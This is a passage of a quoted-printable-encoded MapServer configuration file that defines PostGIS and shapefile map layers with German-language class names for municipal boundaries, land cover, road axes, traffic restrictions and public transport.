=0A= OFFSITE 255 255 255=0A= END=0A= =0A= ## GEMEINDEGRENZEN ############################## =0A= LAYER=0A= NAME gemeinde #Gemeindegrenzen#Legende#=0A= MAXSCALE 600000=0A= MINSCALE 1=0A= STATUS ON=0A= CONNECTIONTYPE POSTGIS =0A= CONNECTION 'dbname=3Dfoo host=3Dbar user=3Dfoobar '=0A= DATA "wkb_geometry from geo_gemeinden"=0A= TYPE POLYGON=0A= SYMBOLSCALE 150000=0A= CLASS=0A= TEMPLATE "/opt/wwwroot/sogis/MapServer/etc/php_inc/dummy.html"=0A= NAME 'Gemeindegrenze'=0A= OUTLINECOLOR 255 0 0=0A= SYMBOL 7=0A= SIZE 2 =0A= MINSIZE 1=0A= MAXSIZE 2=0A= END=0A= END =0A= =0A= LAYER=0A= NAME baukreis #Baukreise#=0A= # DESCRIPTION "Baukreise"=0A= MAXSCALE 6000000=0A= MINSCALE 25000=0A= STATUS ON=0A= DATA "avt/baukreise"=0A= TYPE POLYGON=0A= LABELMAXSCALE 6000000=0A= CLASS =0A= OUTLINECOLOR 153 102 0=0A= LABEL=0A= TYPE TRUETYPE=0A= ANTIALIAS TRUE=0A= FONT arial =0A= # COLOR 153 102 0=0A= COLOR 255 255 255 =0A= OUTLINECOLOR 0 0 0 =0A= SIZE 15=0A= END=0A= TEXT (Baukreis [KREIS_STR])=0A= END=0A= END =0A= =0A= ###### ORTSPLAN ############# =0A= ## BODENBEDECKUNG ###########=0A= LAYER=0A= NAME bdbed #Ortsplan#Legende=0A= STATUS ON=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar "=0A= DATA "wkb_geometry from (select oid,* from kva_av_bdbed where = archive=3D0) as foo using SRID=3D-1"=0A= TOLERANCE 0=0A= TYPE POLYGON=0A= #FILTER "archive=3D0"=0A= CLASSITEM "ART"=0A= CLASS=0A= EXPRESSION "bla"=0A= NAME "=
=A0
=A0Bodenbedeckung
"=0A= END=0A= #Geb=E4ude=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION (([ART] =3D 0) OR ([ART] =3D 50))=0A= NAME "Geb=E4ude"=0A= COLOR 245 198 198=0A= OUTLINECOLOR 70 0 0=0A= END=0A= #Befestigt=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION (([ART] =3D 1) OR ([ART] =3D 2) OR ([ART] =3D 11) OR = ([ART] =3D 9) OR ([ART] =3D 13))=0A= NAME "Strassen, Wege, Geb=E4udeerschliessung"=0A= COLOR 255 255 228=0A= OUTLINECOLOR 25 25 12=0A= END =0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000 =0A= EXPRESSION ([ART] =3D 3)=0A= NAME "Trottoir"=0A= COLOR 255 232 229=0A= OUTLINECOLOR 30 8 8=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 4)=0A= NAME "Verkehrsinsel"=0A= COLOR 255 241 187=0A= OUTLINECOLOR 50 20 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 5)=0A= NAME "Bahnareal"=0A= COLOR 234 251 209=0A= OUTLINECOLOR 0 70 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 6 )=0A= NAME "Flugplatz"=0A= SYMBOL 'triangle' =0A= SIZE 3=0A= COLOR 100 100 100=0A= BACKGROUNDCOLOR 250 250 250=0A= OUTLINECOLOR 30 30 30=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 12 )=0A= NAME "Parkplatz"=0A= COLOR 232 232 232=0A= OUTLINECOLOR 30 30 40=0A= END=0A= #Humusiert=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION (([ART] =3D 14) OR ([ART] =3D 15) OR ([ART] =3D 19) OR = ([ART] =3D 24))=0A= NAME "Acker, Wiese, Weide, Garten, =FCbrige"=0A= COLOR 252 244 218=0A= OUTLINECOLOR 0 70 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 16 )=0A= NAME "Reben"=0A= SYMBOL 'reben'=0A= SIZE 1=0A= COLOR 10 70 0=0A= BACKGROUNDCOLOR 225 255 175=0A= OUTLINECOLOR 0 0 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 17 )=0A= NAME "Obstkultur"=0A= SYMBOL 'obst'=0A= SIZE 1 =0A= COLOR 0 50 0=0A= BACKGROUNDCOLOR 225 255 175=0A= OUTLINECOLOR 0 50 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 18 )=0A= NAME "=FCbrige Intensivkultur"=0A= SYMBOL 'circle' =0A= COLOR 0 50 0=0A= BACKGROUNDCOLOR 225 255 175=0A= OUTLINECOLOR 0 50 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 23 )=0A= NAME "Hoch-, Flachmoor"=0A= SYMBOL 'moor'=0A= SIZE 9=0A= COLOR 10 70 0=0A= OUTLINECOLOR 0 70 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION (([ART] =3D 7) OR ([ART] =3D 25) OR ([ART] =3D 26))=0A= NAME "Gew=E4sser"=0A= COLOR 209 252 255=0A= OUTLINECOLOR 0 0 160=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 27)=0A= NAME "Schilfg=FCrtel"=0A= SYMBOL 'schilf'=0A= SIZE 8=0A= COLOR 12 12 12=0A= BACKGROUNDCOLOR 195 230 255=0A= OUTLINECOLOR 0 0 85=0A= END=0A= #Wald=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION (([ART] =3D 28) OR ([ART] =3D 30) OR ([ART] =3D 31))=0A= NAME "Wald, Hecken, =FCbrige Bestockte"=0A= SYMBOL 'baumsymbol'=0A= COLOR 90 230 50=0A= OUTLINECOLOR 51 102 51 =0A= BACKGROUNDCOLOR 255 255 0=0A= END=0A= #Fels, Abbau, Deponie=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 32)=0A= NAME "Fels"=0A= SYMBOL 'fels'=0A= SIZE 9=0A= COLOR 60 60 60=0A= BACKGROUNDCOLOR 240 240 240=0A= OUTLINECOLOR 50 50 50 =0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 34)=0A= NAME "Steinbruch"=0A= SYMBOL 1=0A= SIZE 4=0A= COLOR 138 128 118=0A= BACKGROUNDCOLOR 247 243 229=0A= OUTLINECOLOR 78 43 33=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION (([ART] =3D 33) OR ([ART] =3D 35) OR ([ART] =3D 36) OR = ([ART] =3D 37))=0A= NAME "Ger=F6ll, Sand, Kiesgrube, Deponie, =FCbriger Abbau"=0A= SYMBOL 7=0A= COLOR 153 113 102=0A= BACKGROUNDCOLOR 248 240 232=0A= OUTLINECOLOR 53 13 2 =0A= END=0A= #Anlagen=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 21)=0A= NAME "Sportanlage gr=FCn"=0A= COLOR 182 224 195=0A= OUTLINECOLOR 0 70 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 8)=0A= NAME "Sportanlage rot"=0A= COLOR 212 165 165=0A= OUTLINECOLOR 70 0 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION ([ART] =3D 22)=0A= NAME "Friedhof"=0A= SYMBOL 'friedhofskreuz'=0A= SIZE 16=0A= COLOR 50 50 50=0A= BACKGROUNDCOLOR 223 223 223=0A= OUTLINECOLOR 50 50 50=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= EXPRESSION (([ART] =3D 20) OR ([ART] =3D 29))=0A= NAME "Parkanlage, ~ bestockt"=0A= COLOR 205 247 187=0A= OUTLINECOLOR 0 70 0=0A= END =0A= END=0A= =0A= =0A= ## FL=C4CHEN ###############################=0A= LAYER=0A= NAME bdbed #Ortsplan#Legende=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= STATUS ON=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar "=0A= DATA "wkb_geometry from (select oid,* from kva_av_eopoly where = archive=3D0) as foo using SRID=3D-1"=0A= TYPE POLYGON=0A= #FILTER "archive=3D0"=0A= CLASSITEM "Art" =0A= =0A= CLASS=0A= EXPRESSION "bla"=0A= NAME "
=A0
=A0Einzelobjekte = Fl=E4chen
"=0A= END=0A= =0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "7"=0A= NAME "Brunnen"=0A= COLOR 196 196 196=0A= OUTLINECOLOR 50 50 50=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "9"=0A= NAME "Pfeiler"=0A= SYMBOL 'circle'=0A= COLOR 50 50 50=0A= BACKGROUNDCOLOR 251 251 251=0A= OUTLINECOLOR 50 50 50=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION (([Art] =3D 13) OR ([Art] =3D 14))=0A= NAME "Denkmal, Mast_Antenne"=0A= SYMBOL 'Mast - Antenne'=0A= SIZE 8=0A= COLOR 0 0 0=0A= BACKGROUNDCOLOR 245 245 245=0A= OUTLINECOLOR 50 50 50=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "17"=0A= NAME "Schwelle"=0A= SYMBOL 'li unten re unten'=0A= SIZE 2=0A= COLOR 0 0 0=0A= BACKGROUNDCOLOR 245 245 245=0A= OUTLINECOLOR 50 50 50=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION (([ART] =3D 28) OR ([ART] =3D 30) OR ([ART] =3D 31))=0A= NAME "bestockte Fl=E4che"=0A= # SYMBOL 10=0A= COLOR 205 247 187=0A= OUTLINECOLOR 50 190 15=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION (([ART] =3D 2) OR ([ART] =3D 11))=0A= NAME "schmaler Weg"=0A= # SYMBOL 10=0A= COLOR 255 255 228=0A= OUTLINECOLOR 220 220 90=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 1000=0A= EXPRESSION ([Art] =3D 8)=0A= NAME "Reservoir" =0A= SYMBOL 'li unten re unten'=0A= SIZE 4=0A= COLOR 0 0 255=0A= OUTLINECOLOR 0 0 255=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 1000=0A= EXPRESSION ([Art] =3D 3) =0A= NAME "Eingedoltes Gew=E4sser" =0A= COLOR 209 252 255=0A= OUTLINECOLOR 102 204 255=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION (([Art] =3D 0) OR ([Art] =3D 11) OR ([Art] =3D 12) OR = ([Art] =3D 15) OR ([Art] =3D 19))=0A= NAME "Geb=E4ude"=0A= COLOR 245 198 198=0A= OUTLINECOLOR 0 0 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION (([Art] =3D 2) OR ([Art] =3D 10)) =0A= NAME "Geb=E4udeteil, Unterstand" =0A= SYMBOL 'li unten re unten'=0A= SIZE 2=0A= COLOR 0 0 0=0A= OUTLINECOLOR 0 0 0=0A= END=0A= =0A= END=0A= =0A= LAYER=0A= NAME bdbed #Ortsplan#Legende=0A= STATUS ON=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar "=0A= DATA "wkb_geometry from (select oid,* from kva_av_eopoly where = archive=3D0) as foo using SRID=3D-1"=0A= TYPE LINE=0A= #FILTER "archive=3D0"=0A= CLASSITEM "Art" =0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "6" =0A= NAME "Br=FCcke" =0A= SYMBOL 'Gebaeude/ Mauern'=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "5" =0A= NAME "Tunnel" =0A= SYMBOL 'unterirdische Bauten'=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 1000=0A= EXPRESSION "1" =0A= NAME "unterirdisches Geb=E4ude" =0A= SYMBOL 'unterirdische Bauten'=0A= COLOR 0 0 0=0A= END =0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 1000=0A= EXPRESSION "4" =0A= NAME "Treppe" =0A= SYMBOL 'Gebaeude/ Mauern'=0A= COLOR 140 140 140=0A= END=0A= CLASS=0A= MINSCALE 1000=0A= MAXSCALE 5000=0A= EXPRESSION ([Art] =3D 1) =0A= NAME "unterirdisches Geb=E4ude" =0A= SYMBOL 'unterirdische Bauten'=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= MINSCALE 1000=0A= MAXSCALE 5000=0A= EXPRESSION ([Art] =3D 8) =0A= # NAME "Reservoir" =0A= SYMBOL 'unterirdische Bauten'=0A= COLOR 0 0 255=0A= END=0A= CLASS=0A= MINSCALE 1000=0A= MAXSCALE 5000=0A= EXPRESSION ([Art] =3D 3) =0A= # NAME "Eingedoltes Gew=E4sser" =0A= SYMBOL 'unterirdische Bauten'=0A= COLOR 102 204 255=0A= OUTLINECOLOR 102 204 255=0A= END=0A= =0A= END=0A= =0A= =0A= =0A= ## LINIEN ########################### =0A= LAYER=0A= NAME bdbed #Ortsplan#Legende=0A= MINSCALE 1=0A= MAXSCALE 15000=0A= STATUS ON=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar "=0A= DATA "wkb_geometry from (select oid,* from kva_av_eoline where = archive=3D0) as foo using SRID=3D-1"=0A= TYPE LINE=0A= #FILTER "archive=3D0"=0A= CLASSITEM "ART"=0A= CLASS=0A= EXPRESSION "bla"=0A= NAME "
=A0
=A0Einzelobjekte = Linien
"=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "28"=0A= NAME "Luftseilbahn"=0A= SYMBOL 'Eisenbahn/ Seilbahn/ Skilift'=0A= COLOR 70 175 225=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "29"=0A= NAME "Gondel-, Sesselbahn"=0A= SYMBOL 'Eisenbahn/ Seilbahn/ Skilift'=0A= COLOR 155 108 205 =0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "30"=0A= NAME "Materialseilbahn"=0A= SYMBOL 'Eisenbahn/ Seilbahn/ Skilift'=0A= COLOR 200 82 82 =0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "31"=0A= NAME "Skilift"=0A= SYMBOL 'Eisenbahn/ Seilbahn/ Skilift'=0A= COLOR 165 42 42=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "32"=0A= NAME "F=E4hre"=0A= SYMBOL 'Eisenbahn/ Seilbahn/ Skilift'=0A= COLOR 20 40 200=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "34"=0A= NAME "Achse"=0A= SYMBOL 'Eisenbahn/ Seilbahn/ Skilift'=0A= COLOR 0 0 0 =0A= END=0A= CLASS=0A= MINSCALE 5000=0A= MAXSCALE 15000=0A= EXPRESSION "27"=0A= # NAME "Bahngeleise"=0A= SYMBOL 'Gebaeude/ Mauern'=0A= SIZE 2=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= MINSCALE 2500=0A= MAXSCALE 5000=0A= EXPRESSION "27"=0A= # NAME "Bahngeleise"=0A= SYMBOL 'Gebaeude/ Mauern'=0A= SIZE 2=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 2500=0A= EXPRESSION "27"=0A= NAME "Bahngeleise"=0A= SYMBOL 'Gebaeude/ Mauern'=0A= SIZE 4=0A= COLOR 0 0 0=0A= OVERLAYSYMBOL 'bahnlinie overlay'=0A= OVERLAYSIZE 3=0A= OVERLAYCOLOR 255 255 255=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "3"=0A= NAME "eingedoltes Gew=E4sser"=0A= SYMBOL 'unterirdische Bauten'=0A= COLOR 0 0 250 =0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "4"=0A= NAME "Treppe"=0A= SYMBOL 'Gebaeude/ Mauern'=0A= COLOR 140 140 140=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "14"=0A= NAME "Mast_Antenne"=0A= SYMBOL 'uebriger Gebaeudeteil'=0A= COLOR 120 120 120=0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "23"=0A= NAME "Rinnsal"=0A= SYMBOL 'Gebaeude/ Mauern'=0A= COLOR 0 0 250 =0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "24"=0A= NAME "schmaler Weg"=0A= SYMBOL 'Abgrenzung der Bodenbedeckung'=0A= COLOR 0 0 0 =0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "25"=0A= NAME "Hochspannungsfreileitung"=0A= SYMBOL 'Oel-, Gaspipeline'=0A= COLOR 0 0 0 =0A= END=0A= CLASS=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= EXPRESSION "26"=0A= NAME "Druckleitung"=0A= SYMBOL 'Oel-, Gaspipeline'=0A= COLOR 130 80 180=0A= END=0A= =0A= END=0A= =0A= =0A= =0A= ## PUNKTE ###############################=0A= LAYER=0A= NAME bdbed #Ortsplan#Legende=0A= MINSCALE 1=0A= MAXSCALE 5000=0A= STATUS ON=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar "=0A= DATA "wkb_geometry from (select oid,* from kva_av_eopnt where = archive=3D0) as foo using SRID=3D-1"=0A= TYPE POINT=0A= #FILTER "archive=3D0"=0A= SYMBOLSCALE 2400=0A= CLASSITEM "ART"=0A= CLASS=0A= EXPRESSION "bla"=0A= NAME "
=A0
=A0Einzelobjekte = Punkte
"=0A= END=0A= CLASS=0A= EXPRESSION "13" =0A= NAME "Denkmal" =0A= SYMBOL 'Denkmal'=0A= SIZE 10=0A= MINSIZE 5=0A= MAXSIZE 18=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= EXPRESSION "14" =0A= NAME "Mast_Antenne" =0A= SYMBOL 'Mast - Antenne'=0A= SIZE 10=0A= MINSIZE 5=0A= MAXSIZE 16=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= EXPRESSION "21" =0A= NAME "Fels" =0A= SYMBOL 'Fels'=0A= SIZE 10=0A= MINSIZE 5=0A= MAXSIZE 18=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= EXPRESSION "33" =0A= NAME "Grotte, H=F6hleneingang" =0A= SYMBOL 'Grotte'=0A= SIZE 10=0A= MINSIZE 5=0A= MAXSIZE 18=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= EXPRESSION "35" =0A= NAME "Einzelbaum" =0A= SYMBOL 'Einzelbaum'=0A= SIZE 10=0A= MINSIZE 5=0A= MAXSIZE 18=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= EXPRESSION "36" =0A= NAME "Bildstock, Kruzifix" =0A= SYMBOL "Kruzifix"=0A= SIZE 10=0A= MINSIZE 5=0A= MAXSIZE 18=0A= COLOR 0 0 0=0A= END=0A= CLASS=0A= EXPRESSION "37" =0A= NAME "Quelle" =0A= SYMBOL "Quelle"=0A= SIZE 10=0A= MINSIZE 5=0A= MAXSIZE 18=0A= COLOR 0 0 0=0A= END=0A= END=0A= =0A= LAYER=0A= NAME labels #Bezugspunkt-Beschriftung# #=0A= # DESCRIPTION "Bezugspunkt-Beschriftung"=0A= MAXSCALE 10005=0A= MINSCALE 100=0A= SYMBOLSCALE 5000=0A= STATUS ON=0A= DATA avt/labelbox_centers=0A= TYPE POINT=0A= LABELMAXSCALE 6000000=0A= LABELITEM "RPT_CK"=0A= LABELANGLEITEM "ROTATION" =0A= CLASS=0A= LABEL=0A= TYPE TRUETYPE=0A= ANTIALIAS TRUE=0A= FONT arial =0A= COLOR 0 0 0 =0A= FORCE true =0A= SIZE 14=0A= END=0A= END=0A= END =0A= =0A= LAYER=0A= NAME labels #Bezugspunkt-Beschriftung# #=0A= # DESCRIPTION "Bezugspunkt-Beschriftung"=0A= MAXSCALE 10005=0A= MINSCALE 100=0A= STATUS ON=0A= DATA avt/labelboxes=0A= TYPE POLYGON=0A= CLASS=0A= COLOR 255 255 204=0A= OUTLINECOLOR 0 0 0=0A= SYMBOL 'hellgelb transparent'=0A= END=0A= END=0A= =0A= LAYER=0A= NAME axe #Axen# #=0A= MAXSCALE 600000=0A= STATUS ON=0A= DATA avt/axe=0A= TYPE LINE=0A= SYMBOLSCALE 25000=0A= CLASS=0A= COLOR 153 255 0=0A= SYMBOL 7=0A= SIZE 1=0A= END=0A= END =0A= =0A= LAYER=0A= NAME axequery =0A= MAXSCALE 6000000=0A= STATUS OFF=0A= DATA avt/axe=0A= TYPE LINE=0A= SYMBOLSCALE 25000=0A= CLASS=0A= COLOR 255 0 0=0A= SYMBOL 7=0A= SIZE 4=0A= END=0A= END=0A= =0A= LAYER=0A= NAME axe #Axen# #=0A= MINSCALE 100=0A= MAXSCALE 35000=0A= STATUS ON=0A= DATA avt/axe=0A= TYPE LINE=0A= SYMBOLSCALE 25000=0A= CLASS=0A= COLOR 153 255 0=0A= SYMBOL 7=0A= SIZE 1=0A= END=0A= END=0A= =0A= ## AXENBESCHRIFTUNG ###################=0A= LAYER=0A= NAME axeo #Axen-Beschriftung#=0A= MAXSCALE 25000=0A= STATUS ON=0A= DATA avt/axe=0A= TYPE LINE=0A= LABELITEM "AXE_CK"=0A= SYMBOLSCALE 10000=0A= LABELMAXSCALE 600000=0A= CLASS=0A= LABEL=0A= TYPE TRUETYPE=0A= ANTIALIAS true=0A= FONT arial=0A= COLOR 153 255 0 =0A= OUTLINECOLOR 0 0 0=0A= SIZE 8=0A= MINSIZE 4=0A= MAXSIZE 80=0A= MINDISTANCE 300=0A= ANGLE AUTO=0A= POSITION CC=0A= MINFEATURESIZE AUTO =0A= END=0A= END=0A= END=0A= =0A= LAYER=0A= NAME restrict #Beschr=E4nkungen#Legende #=0A= MAXSCALE 100000=0A= STATUS ON=0A= DATA avt/restrict/restrict_begin=0A= TYPE POINT=0A= SYMBOLSCALE 25000=0A= # QUERYITEM "Nr"=0A= # CLASSITEM "Nr"=0A= LABELITEM "Nr"=0A= LABELCACHE OFF=0A= CLASS=0A= LABEL=0A= TYPE TRUETYPE=0A= ANTIALIAS TRUE=0A= FONT arial=0A= MINFEATURESIZE 6=0A= MINSIZE 7=0A= MINDISTANCE 2=0A= COLOR 255 255 255 =0A= SIZE 3=0A= POSITION AUTO=0A= FORCE TRUE=0A= BUFFER 1=0A= BACKGROUNDCOLOR 255 0 0=0A= END =0A= END =0A= END=0A= =0A= LAYER=0A= NAME restrict #Beschr=E4nkungen#Legende #=0A= MAXSCALE 50000=0A= STATUS ON=0A= TOLERANCE 10=0A= DATA avt/restrict/restrict=0A= TYPE LINE=0A= SYMBOLSCALE 12000=0A= # QUERYITEM "Nr"=0A= # CLASSITEM "Nr"=0A= =0A= CLASS=0A= TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html"=0A= NAME "Beschr=E4nkungen"=0A= SYMBOL 7=0A= SIZE 6=0A= COLOR 255 0 0 =0A= OVERLAYSYMBOL 7=0A= OVERLAYCOLOR 255 255 255=0A= OVERLAYSIZE 0.2=0A= END=0A= END=0A= =0A= # dieser Layer ist nur vorhanden, weil das Ursprungsdatum zu kurz = ist=0A= # ab Massstab 100125 wird die Linie kleiner als Pixel und deshalb nicht = mehr dargestellt=0A= # Workaround: in diesem neuen Layer wird f=FCr den entsprechenden Punkt = ein inline-feature=0A= # erstellt!=0A= LAYER =0A= NAME restrict #Beschr=E4nkungen#Legende #=0A= MAXSCALE 600000=0A= MINSCALE 100125=0A= STATUS ON=0A= TOLERANCE 10=0A= DATA avt/restrict/restrict=0A= TYPE POINT=0A= SYMBOLSCALE 25000=0A= FEATURE=0A= POINTS=0A= 600689 227525=0A= END=0A= END=0A= CLASS =0A= TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html"=0A= SYMBOL 7=0A= SIZE 80=0A= COLOR 255 0 0=0A= END =0A= END=0A= =0A= LAYER=0A= NAME restrict #Beschr=E4nkungen#Legende #=0A= MAXSCALE 600000=0A= MINSCALE 50001=0A= STATUS ON=0A= TOLERANCE 10=0A= DATA avt/restrict/restrict=0A= TYPE LINE=0A= SYMBOLSCALE 25000=0A= CLASS=0A= TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html"=0A= SYMBOL 7=0A= SIZE 80=0A= COLOR 255 0 0 =0A= END=0A= END=0A= =0A= #layer restrictbold wird nicht im /MapServer/ verwendet, sondern nur = f=FCr die Standalone-Applikation des AVT=0A= LAYER=0A= NAME restrictbold =0A= STATUS OFF=0A= TOLERANCE 20=0A= DATA avt/restrict/restrict=0A= TYPE POINT=0A= # CLASSITEM "nr"=0A= CLASS=0A= TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html"=0A= NAME "Beschr=E4nkungen"=0A= SYMBOL 7=0A= SIZE 4=0A= COLOR 255 0 0 =0A= END=0A= END=0A= =0A= ## ZUSTAND-RCO1400 ################################=0A= LAYER=0A= NAME rco1400 #Zustand rco-1400#Legende #=0A= # DESCRIPTION "Zustand RCO-1400"=0A= MAXSCALE 10005=0A= MINSCALE 100=0A= STATUS ON=0A= DATA avt/themes/rco-1400=0A= TYPE POLYGON=0A= LABELMAXSCALE 6000000=0A= #CLASSITEM "VALUE1"=0A= CLASS=0A= EXPRESSION ([VALUE1] >=3D 0 and [VALUE1] < 2)=0A= NAME "0 - 2"=0A= COLOR 255 0 0=0A= OUTLINECOLOR 0 0 0=0A= END =0A= CLASS=0A= EXPRESSION ([VALUE1] >=3D 2 and [VALUE1] < 3)=0A= NAME "2 - 3"=0A= COLOR 255 153 153=0A= OUTLINECOLOR 0 0 0=0A= END =0A= CLASS=0A= EXPRESSION ([VALUE1] >=3D 3 and [VALUE1] < 4)=0A= NAME "3 - 4"=0A= COLOR 255 153 51=0A= OUTLINECOLOR 0 0 0=0A= END =0A= CLASS=0A= EXPRESSION ([VALUE1] >=3D 4 and [VALUE1] < 5)=0A= NAME "4 - 5"=0A= COLOR 0 153 51=0A= OUTLINECOLOR 0 0 0=0A= END =0A= END =0A= =0A= =0A= ## BEZUGSPUNKTE ###################=0A= LAYER=0A= NAME svt_reference_ps #Bezugspunkte#Legende #=0A= # DESCRIPTION "Bezugspunkte"=0A= MAXSCALE 10005=0A= MINSCALE 100=0A= SYMBOLSCALE 5000=0A= STATUS ON=0A= DATA avt/svt_reference_ps=0A= TYPE POINT=0A= LABELMAXSCALE 6000000=0A= CLASSITEM "RPT_SEGMT_"=0A= CLASS=0A= EXPRESSION "0"=0A= NAME "Zwischenpunkt"=0A= COLOR 255 255 204=0A= OUTLINECOLOR 0 0 0=0A= BACKGROUNDCOLOR 255 255 204 =0A= SYMBOL 4=0A= SIZE 9=0A= END =0A= CLASS=0A= EXPRESSION "1"=0A= NAME "Axensegment Anfang"=0A= COLOR 255 255 204=0A= OUTLINECOLOR 0 0 0=0A= BACKGROUNDCOLOR 255 255 204 =0A= SYMBOL 7=0A= SIZE 11 =0A= END =0A= CLASS=0A= EXPRESSION "2"=0A= NAME "Axensegment Ende"=0A= COLOR 255 255 204=0A= OUTLINECOLOR 0 0 0=0A= BACKGROUNDCOLOR 255 255 204 =0A= SYMBOL 7=0A= SIZE 11 =0A= END=0A= END=0A= =0A= LAYER=0A= NAME netz #Netz =F6ffentlicher Verkehr#Legende #=0A= STATUS ON=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar "=0A= DATA "wkb_geometry from avt_oev_netz using SRID=3D-1"=0A= TYPE LINE=0A= CLASSITEM "TYP"=0A= MAXSCALE 50000=0A= CLASS=0A= NAME "Bus"=0A= EXPRESSION "1"=0A= SIZE 3=0A= SYMBOL 7=0A= COLOR 0 0 255=0A= END=0A= CLASS=0A= NAME "Bahn"=0A= EXPRESSION "2"=0A= SYMBOL 'Gebaeude/ Mauern'=0A= SYMBOL 250000=0A= SIZE 4=0A= COLOR 0 0 0=0A= OVERLAYSYMBOL 